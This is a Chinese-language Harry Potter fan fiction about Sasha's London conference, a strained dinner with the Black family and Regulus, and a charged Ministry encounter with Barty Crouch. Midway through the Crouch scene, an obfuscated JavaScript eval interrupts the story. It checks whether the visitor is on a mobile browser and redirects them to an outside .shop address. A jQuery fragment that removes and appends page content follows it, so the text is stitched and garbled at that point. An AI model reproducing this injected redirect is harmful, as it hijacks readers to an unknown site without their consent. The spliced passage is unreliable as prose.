论坛在伦敦魔法区的一家会议中心举行，连续三天。萨莎的报告安排在第二天下午，主题是符文能量传导在动态负载环境下的稳定性研究——她那篇被提名为年度优秀青年学者论文的核心内容。报告不长，四十分钟，加上提问环节刚好一个小时。
西里斯坐在第三排靠走道的位置。他穿了深灰色的西装，白衬衫，没有打领带。头发比平时打理得整齐了一些，萨莎出门前看了他一眼，没有说话，伸手把他左边鬓角那一小撮翘起来的头发按了下去。他站在那里让她按，按完了笑了一下，说"好了吗"。她说"好了"。他又笑了一下。
萨莎的报告很顺利。她的英文也很流利，学术词汇切换自如，黑色的眼睛在投影光的映照下显得很深。她站在讲台上的样子跟平时不太一样，像一潭水，表面平静，底下所有的暗流都被她压得很好。讲到关键数据的时候她会微微侧身，用激光笔在屏幕上画一个圈，手臂抬起来的弧度很好看。西里斯不太听得懂那些符文学和能量传导的专业术语，但他看她的样子。她思考的时候会微微抿一下嘴唇，跟他在工坊里拧螺丝时看图纸的样子一模一样。他发现这件事的时候嘴角弯了一下，旁边坐着的那个中年女学者以为他在对自己笑，愣了一下，然后也礼貌地笑了笑。西里斯没有注意到。
提问环节有人问了一个很刁钻的问题，萨莎听完之后沉默了五秒钟。那五秒钟里整个会场很安静，西里斯在第三排把手指攥紧了。然后她开始回答，声音不大，但每一个字都像钉子一样钉进空气里。她回答了大约三分钟，把那个问题拆成了三个层次，逐层击破。回答完的时候会场里有掌声，不是那种礼节性的稀稀拉拉的掌声，是真的、被说服了的、带着一点服气的掌声。萨莎没有笑，只是微微点了一下头，说"下一个问题"。
报告结束以后她在会场门口找到他。他靠在一根柱子上等她，手里拿着两杯咖啡。她把那杯不加糖的拿过去喝了一口，温度刚好。
"怎么样？"她问。
"听不懂。"
她看着他。他灰色的眼睛里有一点笑意，不是调侃，是真的觉得好笑的那种。
"但很好看。"他说。
她没有接话，端着咖啡往前走了一步。他跟上她，两个人并肩走出会议中心的大门，伦敦十月的风迎面扑来，带着一种湿漉漉的凉意。她缩了一下脖子，他把围巾解下来搭在她肩上，动作很自然，像做过一千遍。她伸手拢了一下围巾的边角，没有说谢谢。两个人站在门口喝完咖啡，然后回了酒店。
第二天上午，西里斯和萨莎去了牛津街。
伦敦十月的天气不好不坏，没有下雨，但云层很厚，阳光偶尔从云缝里漏下来一束，像一个手电筒在巨大的灰色幕布上照出一个亮圈。他们手牵着手。四个手指松松地交叠在一起，掌心贴着掌心，手背朝外。是那种不需要刻意维持的、走散了也不着急的牵法。
他们在百货商店里逛了很久。萨莎给汉娜选了一条丝巾，墨绿色底子，金色花纹，西里斯说”像蛇"。萨莎看了他一眼，把丝巾放回去了，换了一条深紫色的。西里斯说"这个好看"。
西里斯给艾伦选了一顶帽子——那种在野外露营时戴的宽檐毡帽，深棕色。他拿着帽子在手里翻来覆去看了很久，检查了帽檐的缝线和内衬的材质，然后把帽子扣在自己头上，转身问萨莎"好看吗"。萨莎说"给你买的还是给艾伦买的"。他说"都可以"。她说"那给艾伦"。他把帽子从头上取下来，看了一眼内衬的标签，说"这个牌子很耐造，艾伦上次那个帽檐都被雨浇塌了"。萨莎看着他认真的样子，黑色的眼睛里有一点柔软的光。
他们还买了给玛格达的羊毛袜、给赫尔曼的工具手套、给卢卡斯的一本英文-德文对照的魔法机械图册。西里斯把图册翻了一遍，确认里面的德文他大部分能看懂，然后把图册塞进购物袋里，表情里有一种"我居然能看懂德文了"的隐约得意。萨莎看到了，没有说。
中午他们在牛津街的一家小咖啡馆吃了三明治和热汤。西里斯点的牛肉三明治，萨莎点的鸡肉沙拉。西里斯把自己三明治里不爱吃的酸黄瓜挑出来放在盘子边上，萨莎看了一眼，说"你什么时候开始不爱吃酸黄瓜的"。西里斯想了想，说"大概是从玛格达开始给我做酸黄瓜沙拉以后，她做的太好吃，外面这些就吃不惯了"。萨莎嘴角弯了一下。
阳光从咖啡馆的窗户照进来，落在桌子上的面包屑上，那些细小的金色颗粒在光线里浮浮沉沉。西里斯坐在对面看着她——她把那片酸黄瓜从他盘子里夹走的时候，动作很自然，像做了一百遍。她低头吃东西的时候睫毛垂着，黑色的头发从肩头滑落下来，她抬手别到耳后，偏左边，比右边多。西里斯数过，今天是六次偏左边，两次偏右边。
他觉得很幸福。
幸福这个词太大了，大到他一向不太敢用。
但今天上午，在牛津街这些琐碎的、平凡的、没有任何仪式感的事情里——选礼物、吃三明治、讨论酸黄瓜——他忽然觉得，如果人生可以一直这样，就已经够了。不需要轰轰烈烈的"我爱你"，不需要什么承诺或誓言。就是她坐在对面，阳光落在她的头发上，他的手指尖还记得她掌心的温度。
他把那杯已经凉了的咖啡喝完，然后把两个人的外套拿过来。
"走吧。"他说。"下午还要去布莱克家。"
萨莎接过外套穿上，他在后面帮她拉了拉衣领。她转过身看了他一眼——黑色的眼睛在他脸上停了一秒，像在确认什么。
下午，布莱克老宅。
西里斯站在门外，看着那扇黑色的门，手指在身侧慢慢收拢，又慢慢松开。
萨莎站在他旁边，穿着深宝石蓝的大衣，黑色的头发盘了起来，露出颈线和一对小巧的珍珠耳钉。她没有挽他的胳膊，只是安静地站着，等他先迈那一步。
西里斯伸出手，推开了门。
门厅比他记忆中的更暗。那些被家养小精灵擦得锃亮的银器在壁炉的火焰里泛着冷光，墙上的挂毯沉默地悬挂着，布莱克家族树的金线在火光里一闪一闪。空气里有陈旧的木头味和某种被长期封存的、潮湿的、属于古老家族的气息。不是难闻的，是压人的。
沃尔布加·布莱克坐在客厅的扶手椅上，穿着黑色的长裙，头发一丝不苟地盘在脑后，灰色的眼睛像两把淬过冰的刀。她看到西里斯走进来的时候没有站起来，只是微微抬了抬下巴。
"西里斯。"
"母亲。"他说。声音不大，平静得像在念一段与自己无关的台词。
沃尔布加的目光从他身上移到了萨莎身上，停了一瞬。那一瞬里她的表情没有任何变化，但西里斯知道她在看什么——萨莎的站姿，萨莎的衣着，萨莎盘起头发的样子，萨莎那对珍珠耳钉的成色。她在评估。
萨莎微微欠了欠身。"布莱克夫人。"她的语气礼貌而疏离，没有刻意亲近，也没有刻意冷淡。是那种在生意场上见过无数次、用得恰到好处的礼节。
"林德纳夫人。"沃尔布加点了下头，灰色的眼睛里有一丝几乎不可见的满意。
"听说你在欧陆的炼金术圈子里做得不错。"沃尔布加说，端起茶杯抿了一口。"林德纳家的底子好，你自己也有心。"
"承蒙关心。"萨莎微微颔首。"今年在《欧洲炼金术评论》发了两篇，年底还有一篇在审。"
"嗯。"沃尔布加把茶杯放回托盘，杯底碰到瓷面，发出一声极轻的、清脆的响。"比西里斯的滑板车正经多了。"
西里斯站在旁边，嘴角动了一下——不是笑，是那个弧度被他自己压下去了。萨莎没有接话，只是端起自己的茶喝了一口，动作不紧不慢，像没听到。
脚步声从楼梯上传来。
雷古勒斯·布莱克从二楼的拐角处走下来。他穿着一件深炭色的西装，剪裁考究，勾勒出宽阔的肩线和收窄的腰身。衬衫是纯白的，领口系着一条暗银色的领带，领带夹在壁炉的火光里闪了一下——大概是家族纹章的形状。他的黑头发比学生时代短了一些，露出轮廓分明的额头和眉骨，发丝被仔细地梳过，但额前还有一小缕不太听话地垂下来，像是故意留的。他的皮肤在烛光下显出一种浅淡的、近乎瓷器的白，颧骨的弧度被光影切得很深，下颌线从耳垂下方一路收窄到下巴尖。整个人像一把被精心打磨过的、收在鞘里的武器。政界精英的气质在他身上养成了，从肩膀的平直度到站姿的克制感，都像被反复校准过。
他在楼梯上走下来的那几步，步伐均匀，不急不缓，脊背挺直但不僵硬。目光从楼梯的转角处就开始锁定客厅里的人，下颌微收，嘴角有一个不大的、标准的、没有温度的弧度。
他在萨莎面前站定，灰色的眼睛落在她脸上。
"萨莎。"
"雷古勒斯。"
两个人的问候都在名字里。没有"好久不见"，没有多余的字。名字就够了。名字里装着三年前的春天、图书馆的角落、那些深夜的热茶，还有那封写了很久的信。
雷古勒斯转向西里斯。
"哥哥。"他说。
"雷尔。"西里斯说。
两个人对视了两秒钟。灰他们没有握手，没有拥抱，只是对视了那两秒钟。然后雷古勒斯往前走了一步，在西里斯的肩膀上极轻地拍了一下——手掌落下去不到半秒，力度轻到像一片叶子落在水面上。
晚餐摆在那张西里斯从小坐到大的长桌上。黑色的桌布浆洗得发硬，银器擦得可以照人，烛台上的蜡烛烧得很安静，火焰几乎不跳。菜是家养小精灵做的，传统的法餐，味道不差，但每一口都像是在完成一个仪式。
沃尔布加坐在主位上，奥赖恩在她右手边，雷古勒斯在她左手边。西里斯和萨莎坐在对面。谁也没有多说话。餐刀碰在瓷盘上的声音被放大了好几倍，像某种细小的、持续的审讯。
萨莎用餐的姿势没有任何破绽。她从小在林德纳家的餐桌上长大，知道怎么握刀叉才不显得刻意，知道什么时候该把餐巾放在桌上表示用餐结束，知道在被问到"林德纳家的炼金实验室最近有什么新进展"的时候用几句话概括出一个让沃尔布加挑不出毛病的答案。她甚至笑了一次——沃尔布加说到某个布莱克家远亲的丑闻时，萨莎的嘴角动了一下，是那种"人世间的荒唐事真是无穷无尽"的、微微的弧度。
沃尔布加又问了萨莎几个问题——关于她父亲艾伦"还在做法律方面的工作吗"，关于林德纳家族在德累斯顿的那处产业，关于萨莎自己未来的学术计划。每一个问题都问得客气，但萨莎听得出那些客气底下的东西——她是在确认，林德纳家族的女儿有没有被布莱克家的儿子带歪。萨莎回答得不卑不亢，每一个答案都像一枚被仔细抛光过的硬币，正面反面都无懈可击。
西里斯坐在她旁边，他一直在看雷古勒斯。
不是看他的西装剪裁有多好——虽然确实好，比西里斯自己穿的那件要贵一个档次。不是看他的领带夹上那个家族纹章的光泽。
西里斯在看雷古勒斯的眼睛。那双浅灰色的眼睛从晚餐开始到结束，在萨莎身上停留了太多次。每一次停留都不超过两秒，间隔都在五到十分钟以上，频率低到任何第三个人都不会觉得异常。
但西里斯在数。他不知道自己是什么时候开始数的，也许是从第一道菜上桌的时候。前菜：三次。主菜：五次。甜点：两次。每一次，雷古勒斯的目光落在萨莎脸上的那个角度都不同——有时候是听她说话的时候侧过脸去看，有时候是她低头切肉的时候从上方斜过去，有一次是她喝了一口水放下杯子的瞬间，他的目光追着那个杯子的轨迹从她嘴唇上滑过。那一次不到一秒。
西里斯的叉子在瓷盘上发出一声极轻的、只有他自己听到的响声。
萨莎似乎没有注意到。或者她注意到了，但她没有给出任何回应。
她的目光始终平稳地落在自己面前的食物上，或者落在沃尔布加的脸上，礼貌地应答，礼貌地微笑。她没有回看过雷古勒斯一次。西里斯注意到了这件事。他注意到了她每一次与雷古勒斯对话时目光停留的位置——不多不少，刚好是社交礼仪要求的那两秒，然后自然移开。精准到像有人在暗中给她计时。
晚餐快结束的时候，克利切端上了最后一道——一小碟薄荷糖，放在桌子的正中间。西里斯看着那碟糖，想起小时候他偷拿过一颗，被他母亲看见了。她什么也没说，只是看着他。那一眼比任何训斥都管用。他以后再也没有偷拿过。
雷古勒斯在那碟糖端上来的时候，向西里斯那边推了推那碟薄荷糖。动作很小，小到沃尔布加没有看到，奥赖恩没有抬头。就是手指搭在碟子边缘，极其轻微地往右推了两指宽的距离——让那碟糖离西里斯的手近一些。然后雷古勒斯把手收回去，端起自己的酒杯，喝了一口水。
西里斯看着那碟糖，笑了一下。
晚宴结束的时候已经快九点了。萨莎站起来，向沃尔布加道别。沃尔布加坐在椅子上没有起身，只是点了一下头。但她在萨莎转身的时候加了一句——声音不大，像是随口说的——"你们在路上注意安全。"
雷古勒斯站起来，拿起搭在椅背上的大衣。
"我送你们。"他说。
西里斯看了萨莎一眼。萨莎正在系大衣的扣子，黑色的眼睛看着自己手指的动作，没有看他。
"好。"西里斯说。
三个人走出布莱克老宅的大门。伦敦十月的夜风带着湿冷的潮气，萨莎缩了一下肩膀，西里斯把围巾解下来搭在她肩上。雷古勒斯看着那个动作，没有说话。他把自己的大衣纽扣扣好，然后把手从口袋里抽出来，犹豫了半秒，又放回去了。
三个人沿着格里莫广场的街道往前走。路灯的光是昏黄色的，把三个人的影子拉得很长很长。
"西里斯。"雷古勒斯的声音在夜风里显得很轻。"滑板车做得不错。国际合作司的档案室有你们的商业报告。"
西里斯侧过头看了他一眼。"你看了商业报告？"
"路过的时候翻了一下。"雷古勒斯顿了顿，灰色的眼睛看着前方。"销量数据很好。那个案例被商业司当成了中小魔法企业的典型在做分析。"
西里斯沉默了几步，然后说了一句"谢谢"。
雷古勒斯点了一下头，幅度很小。然后他转向萨莎。"你的论文，我也翻了。看不懂，但结论部分写了什么我大概知道。"
萨莎微微偏了一下头。"那你觉得那个结论怎么样？"
"很有说服力。"雷古勒斯说。"如果国际合作司以后需要技术支持，可能会考虑跟林德纳实验室合作。我到时候走正式渠道。"
萨莎的嘴角弯了一个很小的弧度。"你在帮你司里谈生意？"
"在帮司里找好的供应商。"雷古勒斯说。
街口到了。雷古勒斯停下脚步。
"就到这里。你们住的酒店往右拐，我往左。"他说。
西里斯点了一下头，正要往前走。雷古勒斯没有动。他站在原地，灰色的眼睛从西里斯身上移到了萨莎身上。
"萨莎。"他说。"明天下午你是不是还要去魔法部处理林德纳家的契约？"
萨莎停下脚步，转过身看着他。"对。约了你们国际合作司的人，大概下午两三点办完。"
雷古勒斯点了一下头。"明天晚上你有时间吗？"他的声音不大。"我知道一家餐厅，离魔法部不远，安静，适合说话。你办完事之后可以直接过去。"
他说"你"，不是"你们两个"。
西里斯的手指在大衣口袋里慢慢收拢了。
萨莎沉默了一秒。"好。"她说。"你把地址给我。"
雷古勒斯点了一下头，然后转向西里斯。他的灰色眼睛在西里斯脸上停了一下，没有任何挑衅，没有任何多余的东西。他只是很平静地说了一句——
"明天晚饭结束后，我会把萨莎送回酒店。"
语气平平的，像在陈述一个已经安排好的日程。但西里斯听懂了那句潜台词——你不用过来，你不需要知道我们在哪里吃，你只需要在酒店等她回来。这是我的邀请，这是我与她单独的晚餐，你不用在场。
“好。"西里斯说。
雷古勒斯点了一下头，然后转向萨莎。"那我定好地方把地址给你。"他顿了顿。"明天见。"
"明天见。"萨莎说。
第二天下午，萨莎独自去了魔法部。
林德纳家族在英国的产业不多，但零零散散也有一些需要定期处理的契约和许可文件。她每年大概要来一两次，每一次来都觉得这地方比她记忆中的更灰——不是脏，是灰。灰色的墙壁，灰色的地板，灰色的袍子在走廊里无声地移动，像一群没有颜色的鱼在一个巨大的水族箱里游来游去。
她乘电梯下到国际合作司所在的楼层，处理了几份契约的续期文件，跟负责林德纳家族档案的那个中年女巫聊了二十分钟关于符文墨水在长期保存中的稳定性问题。事情办完的时候还不到四点半。
她站在国际合作司的走廊上想了想——距离跟雷古勒斯约定的时间还有将近一个小时。她可以去楼下的咖啡厅坐着，也可以在附近的某个走廊里随便转转。她选了后者。
她走到法律执行司那层楼的时候，没有特别的目的。这一层比国际合作司那层更安静一些，走廊更宽，门更厚重，墙壁上的魔法火把的光线更暗。她路过一间透明的大会议室。她路过的时候无意间往里面瞥了一眼。
会议室很大，长桌上铺满了文件。文件被分类堆叠成七八摞，每一摞旁边都放着一盏不同颜色的魔法灯。长桌的最前端坐着一个人。
萨莎停下脚步。
巴蒂·克劳奇。
拉文克劳比她低一届的学弟。她在公共休息室里指导过他古代魔文——他当时在翻译一段特别拗口的古如尼文，皱着眉头坐在壁炉旁边的椅子上，面前摊着一本厚得像砖头的字典。她走过去看了一眼，说"这里的主语被省略了，你要往前翻三行找那个名词的变格形式"。他愣了一秒，然后翻了回去，找到了，抬起头看着她说了一句"谢谢，林德纳学姐"。那时候他十六岁，脸还没有完全长开，但已经能看到现在这副轮廓的雏形。
现在的巴蒂·克劳奇。二十六岁。法律执行司副司长。
他坐在会议室里的样子不像一个二十六岁的年轻人。他像一把被擦亮的、放在玻璃展柜里的手术刀。他的头发是深金色的，比学生时代深了一些，仔细地梳向一侧，发丝的纹理干净利落。眉骨的弧度很清晰，眉尾收得干净，没有一根杂毛。鼻子很直，从眉心到鼻尖是一条几乎没有起伏的直线。嘴唇薄，抿着的线条透出一种长期处在高压工作状态下的人才会有的、近乎本能的克制。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17640427|204995||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他的下颌线像被裁纸刀切出来的，从耳垂下方一路干净利落地收到下巴尖。颧骨不高不低，刚好在脸颊上投下一小片淡淡的阴影，让整张脸的轮廓显得更深、更冷。他的皮肤很白，不是苍白，是一种干净的、很少晒太阳的、在室内灯光下会微微反光的白。白衬衫的领口紧贴着喉结，领带是深银灰色的，真丝质地，在光线下会泛出很淡的光泽。领带结打得极其规整，正中间嵌着一枚小小的银色领针，把领带的两翼固定得纹丝不动。
他穿着白衬衫，袖口挽到了小臂中间。这是一个在工作状态下才会有的动作——不是因为热，是因为需要更大的活动范围。他的小臂露在外面，线条清晰得不像一个坐办公室的官员。不是那种在健身房里刻意练出来的夸张肌肉，是很匀称的、长期保持某种训练才会有的肌肉线条。前臂的肌肉从腕骨上方开始隆起，到肘关节附近收窄，每一根线条都像是被某个严谨的工程师设计过的。青筋在手背上微微凸起，在皮肤下蜿蜒出淡青色的纹路，从指根一直延伸到腕骨，然后消失在被衣袖遮住的地方。他的手指修长，拿起羽毛笔的时候握笔的位置比一般人高一些，那根修长的无名指在笔杆上形成一个优雅的弧度，指节处没有一丝赘肉。
他整个人散发出一种禁欲的、克制的、把自己压到极致的气息。每一颗纽扣都扣在该扣的位置，每一根头发都待在应该待的地方，每一寸皮肤都被衬衫和西裤严严实实地包裹着。衬衫的面料薄到在魔法火把的光线下能隐约看到肩胛骨的轮廓——那两块三角形的骨头在挺直的脊背上方微微凸起，像折叠起来的翅膀。从后颈到尾椎，脊椎的线条被衬衫的布料勾勒出一条笔直的、严密的线。
萨莎的目光沿着那条线缓缓移动。在他低头写字的时候，后颈那一小片裸露的皮肤露了出来——白衬衫的领口与发际线之间，一寸宽的皮肤，干净，没有一颗痣，没有一根碎发。脊椎最上端的那一小节骨头在低头时微微凸起，像一枚被仔细打磨过的瓷纽扣。
她把这个画面收进了眼睛里。
她知道自己在想什么。
她喜欢这个。
不是喜欢他——是喜欢这种类型。西装革履，禁欲，克制，每一颗纽扣都扣得整整齐齐，每一寸皮肤都被布料覆盖得严严实实。衬衫袖口挽到小臂中间露出的那截手臂，是她在男性身上最喜欢看的部分。修长，有力，线条干净，青筋微微浮起。不是刻意的性感，是"我根本不在意自己好不好看"的那种好看。是那种把全部注意力都放在工作上、完全忘记了自己外貌的人才会有的、不经意的、甚至可以说是浪费的性感。
巴蒂抬起头来。
他的棕色眼睛——在看到她的一瞬间发生了非常细微的变化。不是睁大，不是闪亮，是一种瞳孔深处的、从"运转"切换到"感知"的微妙位移。像一台机器在高速运转中忽然接收到一个意料之外的信号，所有的系统都停了一拍，重新校准。
他认出了她。
那一瞬间他的脸上闪过一个极快的表情——快到如果萨莎不是一直在看着他的脸，她根本不会注意到。那个表情不是惊讶，不是惊喜，是一种更深的、更隐秘的东西。像一个在黑暗的房间里独自坐了很久的人，忽然有人推门进来，光线涌入，他眯了一下眼睛，不是因为刺眼，是因为不习惯。他习惯了在没有人看到的地方独自工作。他习惯了把所有的情绪压到看不见的深度。
然后她出现在玻璃墙外。黑色眼睛，黑色头发，深宝石蓝的大衣，领口别着一枚小小的蓝宝石胸针。她站在那里，像一扇忽然被推开的门。
他没有立刻站起来。他做完了手上那个动作——把一份文件翻到最后一页，在右下角签了名字，把羽毛笔搁在笔架上。他的手指在放下羽毛笔的时候有一点轻微的停顿，像在确认自己的手没有在抖。然后他站起来。动作不快不慢，从坐姿到站姿的转换没有一丝多余的能量消耗，衬衫下摆在他起身的动作里被拉直，腰线在布料下显出一个干净利落的弧度。他绕过会议桌，朝门口走过来。步伐均匀，每一步的距离几乎完全相同，鞋跟落在石板地面上发出的声音稳定得像节拍器。
他走到门口，拉开门，棕色的眼睛看着她。
"林德纳学姐。"
他的声音比学生时代低了一些，更沉，更稳。像大提琴的中音区，不张扬，但每一个音都落在该落的位置上。他叫她"林德纳学姐"，用姓氏加学姐，是拉文克劳公共休息室里那个十六岁少年的叫法。他在刻意维持那个距离。
"克劳奇。"萨莎微微点头。"好久不见。"
"好久不见。"他说，声音比刚才低了一些。"你怎么会在魔法部？"
"林德纳家在英国的一些契约需要更新。我来国际合作司处理一下。"萨莎顿了顿。"事情办完了，距离下一个安排还有一点时间，随便走走。"
巴蒂点了一下头，动作幅度很小，不到十度，但很明确。他在萨莎身上停留了两秒钟。那种目光很克制，克制到几乎不会被任何人察觉。
“你看起来很好，学姐。"巴蒂说。语气很平。
"谢谢。"萨莎说。
"你会在伦敦待几天？"他问。
"明天就回慕尼黑。"
巴蒂点了一下头。"可惜。"他说。
他说"可惜"的时候，语气还是平的。但这个词本身就是情绪。他说完以后，嘴唇微微抿了一下，像是在后悔说了这个词。那个抿嘴的动作比他的领带结还要小。
"如果有机会，想跟你聊聊你最近那篇关于符文能量传导的论文。"他说。"国际合作司的档案室订了《欧洲炼金术评论》。"
萨莎的嘴角弯了一个非常小的弧度。"那篇论文的第三部分有个技术细节写得不够清楚，我在考虑发一篇勘误。"
"哪个细节？"巴蒂问。他问这个问题的时候，棕色的眼睛里有一道非常细的光闪过——火柴划亮的那一瞬间，很短，但很亮。
萨莎告诉他了。他用了一秒钟理解她说的内容——那一秒钟里他的眼睛微微眯了一下，瞳孔收缩了一个几乎不可见的幅度，眉心出现了两道极浅的竖纹。然后他说了一句"你是说在动态负载环境下，符文阵列的对称性会被打破"。
萨莎看着他，黑色的眼睛在走廊昏暗的光线里显得很深。她的目光在他脸上停了比平时多了一秒。
"你读懂了。"她说。
"我读了三遍。"巴蒂说。
走廊尽头传来脚步声。一个穿墨绿色袍子的女巫抱着一摞文件经过，朝巴蒂点了点头。"克劳奇副司长。"巴蒂点了一下头，幅度还是那么小。女巫走远了。
萨莎低头看了一眼手腕上的表。五点二十。
"我该走了。"她说。"晚上还有一个安排。"
巴蒂看着她。他的眼睛在她脸上停了一秒。他张了张嘴，像是想说什么，但最后只是把那句话吞了回去。他的喉结上下滚动了一下，在白衬衫领口的阴影里很明显。他把那句话咽下去了。
"路上小心，学姐。"
萨莎点了一下头，转身走了。她的鞋跟落在石板地面上的声音均匀而稳定，一下，一下，一下，渐渐远了。
巴蒂站在会议室门口，目送她的背影消失在走廊拐角处。
他没有立刻回去。他站在原地，眼睛看着她消失的方向，在空荡荡的走廊里，像一尊被遗忘的雕像。他的手还插在裤袋里，但现在他的手指在布料底下攥紧了——攥得很紧，紧到指甲掐进掌心的肉里，留下四个浅浅的、新月形的印痕。他的呼吸——他刚才一直在控制着的、平稳的、节拍器一样的呼吸——变乱了。不是那种大口喘气的乱，是频率变了，节奏变了。他的胸口在衬衫底下微微起伏了几下，幅度不大，但他自己感觉到了。
他想起十六岁的时候，在拉文克劳的公共休息室里，她站在他旁边，俯身看他的字典，黑色的头发从肩头垂下来，差一点就碰到他的手指。她说"这里的主语被省略了，你要往前翻三行"。他的手指把字典翻了三行，找到了那个词，然后抬起头看着她。她说"不客气"，然后走了。他的手指在字典的纸页上停了好久，久到壁炉的火烧完了两根木头。他把那页纸折了一个角，后来又抚平了。
然后他转过身，走回会议室，坐回长桌前，拿起羽毛笔。他的手落在文件上的位置跟离开前一模一样，他低头看着面前那行被打断的句子，找到了最后一个写下来的单词，然后继续写。他的呼吸已经恢复了——平稳的、节拍器一样的呼吸。他的心跳也已经恢复了，跟萨莎来之前一样。他握笔的力度也恢复了——不多不少，刚好能让墨水流出来又不至于洇纸。
但他的手心上有四个浅浅的、新月形的指甲印。
他写了大约十行字，然后停下来。
他把羽毛笔搁在笔架上，低下头，用双手的拇指按住了自己的太阳穴。他的手指很长，按在太阳穴上的时候，无名指的指尖刚好碰到眉尾。他闭着眼睛，就这样坐了很久。会议室里很安静，安静到能听到魔法火把燃烧时发出的细碎的"噼啪"声。长桌上的文件在魔法灯的照射下安静地躺着，那些银色的烟雾已经从纸面上散尽了，只剩下干涸的墨水和沉默的羊皮纸。
他闭着眼睛，想了很多。
他睁开眼睛，灰色的眼睛看着面前那页文件。他又拿起了羽毛笔。这一次他的手没有停，一直写到了六点。